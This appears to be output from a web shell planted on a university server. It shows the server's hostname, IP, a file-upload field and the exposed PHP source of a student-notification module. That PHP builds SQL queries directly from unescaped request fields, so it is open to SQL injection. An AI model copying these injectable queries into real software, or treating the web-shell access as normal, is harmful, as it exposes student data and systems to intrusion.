0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.44.145


Current Path : /proc/thread-self/root/var/www/oasis/src_old/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/src_old/sendnotification.php

<?php


function getdegsn($aobj_context)
{
	$college = $_SESSION['collcode'];

	$select_qry = "select distinct d.fdegree, concat(d.fdegree,' - ',d.fdescpn) as fdescpn
	FROM degree d inner join student s on d.fdegree = s.fdegree
	where s.fcollcode = '{$college}'
	order by fdescpn"; 
	$cntrresults = $aobj_context->mobj_db->GetAll($select_qry);

	echo $aobj_context->mobj_output->ToJSONEnvelope($cntrresults,0,"success"); 
	return;
}


function getStudents($aobj_context)
{
	$college = $_SESSION['collcode'];
    $degree     = stripslashes($aobj_context->mobj_data["fdegree"]);
    $sem        = stripslashes($aobj_context->mobj_data["sem"]);    
    $regfrom    = stripslashes($aobj_context->mobj_data["regfrom"]);
    $regto    = stripslashes($aobj_context->mobj_data["regto"]);
    
    $cnd = "c.FFRESHEXAM = '{$sem}'";
    if($sem == 'All')
    {
        $cnd="";
    }
    
	$select_qry = "select distinct s.fregno,s.fname
    FROM candsum c inner join student s on c.fdegree = s.fdegree and c.fcollcode = s.fcollcode 
    and c.fregno = s.fregno
    where c.fdegree = '{$degree}'
    and c.fcollcode = '{$college}'
    and s.fregno between '{$regfrom}' and '{$regto}'
    {$cnd}
    order by s.fregno"; 
    //var_dump($select_qry);
	$results = $aobj_context->mobj_db->GetAll($select_qry);


    $str_reval="<table  width='80%' id='clear' class='tr_ventor_row' align='center' cellspacing='0' cellpadding='0' border='0' >";
	$str_reval.="<th align='left' colspan='4' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:22px;'>Send Notification to the students</th>";		
	$str_reval.="<tr  class='ui-state-default ui-jqgrid-hdiv'>";
	$str_reval.="<td  align=center style='padding:2px; width:10%; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sl. No.</td>";
	$str_reval.="<td  align=center style='padding:2px; width:15%; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Reg. No.</td>";
	$str_reval.="<td align=center  style='padding:2px;  width:60px; border-bottom:1px solid #C5DBEC;border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC;  border-bottom:1px solid #C5DBEC;'>Student Name</td>";
	$str_reval.="<td align=center style='padding:2px; width:24px; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Select <input type = 'checkbox' id = 'send' checked = true onclick = 'selectAllStudents();'></td>";
    $str_reval.="</tr>";	
    
    $k=0;
    $sl_no=1;
    foreach($results as $ak=>$av)
    {
     
        $fregno = $av['fregno'];
        $fname  = $av['fname'];
        
        if($k%2==0)
            $class='tbl_row1';
        else
            $class='tbl_row_alter1';

        $str_reval.="<tr>";		
        $str_reval.="<td class='{$class}' style=' font-size:12px; text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;' >{$sl_no}</td>";
        $str_reval.="<td class='{$class}' style=' font-size:12px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; text-align:center; ' >&nbsp;{$fregno}</td>";
        $str_reval.="<td class='{$class}' style=' font-size:12px; text-align:left; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; text-align:left;  ' >{$fname}&nbsp;</td>";
        $str_reval.="<td class='{$class}' style=' font-size:12px; text-align:left; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; text-align:center;  ' >&nbsp;<input type = 'checkbox' id = '{$sl_no}' name = 'regno' value = '{$fregno}' checked = true>

        </td>";
        $str_reval.="</tr>";
        $sl_no++;
        $k++;
    }

    if($results)
    {
        $data['table'] = $str_reval;
        $data['total'] = $sl_no;
        echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); 
        return;
    }else
    {
        $data = "No Data Found";
        echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"Failure");
        return;
    }
}

function sendNotification($aobj_context)
{
    $college = $_SESSION['collcode'];
    $funivcode = $_SESSION['FUNIVCODE'];
    $fdegree     = stripslashes($aobj_context->mobj_data["fdegree"]);
    $notiftile        = stripslashes($aobj_context->mobj_data["notiftile"]);    
    $notifbody    = stripslashes($aobj_context->mobj_data["notifbody"]);
    $sem    = stripslashes($aobj_context->mobj_data["sem"]);
    $regfrom    = stripslashes($aobj_context->mobj_data["regfrom"]);    
    $regto    = stripslashes($aobj_context->mobj_data["regto"]);
    $strNotif    = stripslashes($aobj_context->mobj_data["strNotif"]);    
    $rgNotif = json_decode($strNotif, true);
   
    $query = "insert into logisys3_comexam.pushnotifsum(funivcode,fcollcode,fdegree,fregfrom,fregto,ftitle,fbody,fstatus,fpushdate,fyear,fexamtype)
    values ('{$funivcode}','{$college}','{$fdegree}','{$regfrom}','{$regto}','{$notiftile}','{$notifbody}','F',now(),year(now()),'1')";
    $studresults = $aobj_context->mobj_db->Execute($query);

	$ID = $aobj_context->mobj_db->insert_Id();;
  
    $regno = "";
	if($studresults)
	{
        foreach($rgNotif as $values)
        {
            $regno .="'".$values['fregno']."',"; 
        }
       $regno = rtrim($regno,',');
        $query = "insert ignore into logisys3_comexam.pushnotif(funivcode,fmobileno,fmobappid, fcollcode, fregno, fdegree, fenttype, fsubcode, ftitle, fbody, fstatus, fyear, fexamtype, fpushdate)
        select '{$funivcode}',FMOBILENO,FAPPMOBID,'{$college}',fregno,'{$fdegree}','{$ID}','{$ID}','{$notiftile}','{$notifbody}','F', year(now()),'1', now() from logisys3_comexam.masuser where funivcode = '{$funivcode}'
        and fregno in($regno)";
      
        $res = $aobj_context->mobj_db->Execute($query);
            
    }

    if($res)
    {
        $data = "Notification Sent Successfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); 
		return;

    }else
    {
        $data = "Notification failure. Please try after some time!";
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
		return;
    }   
}

?>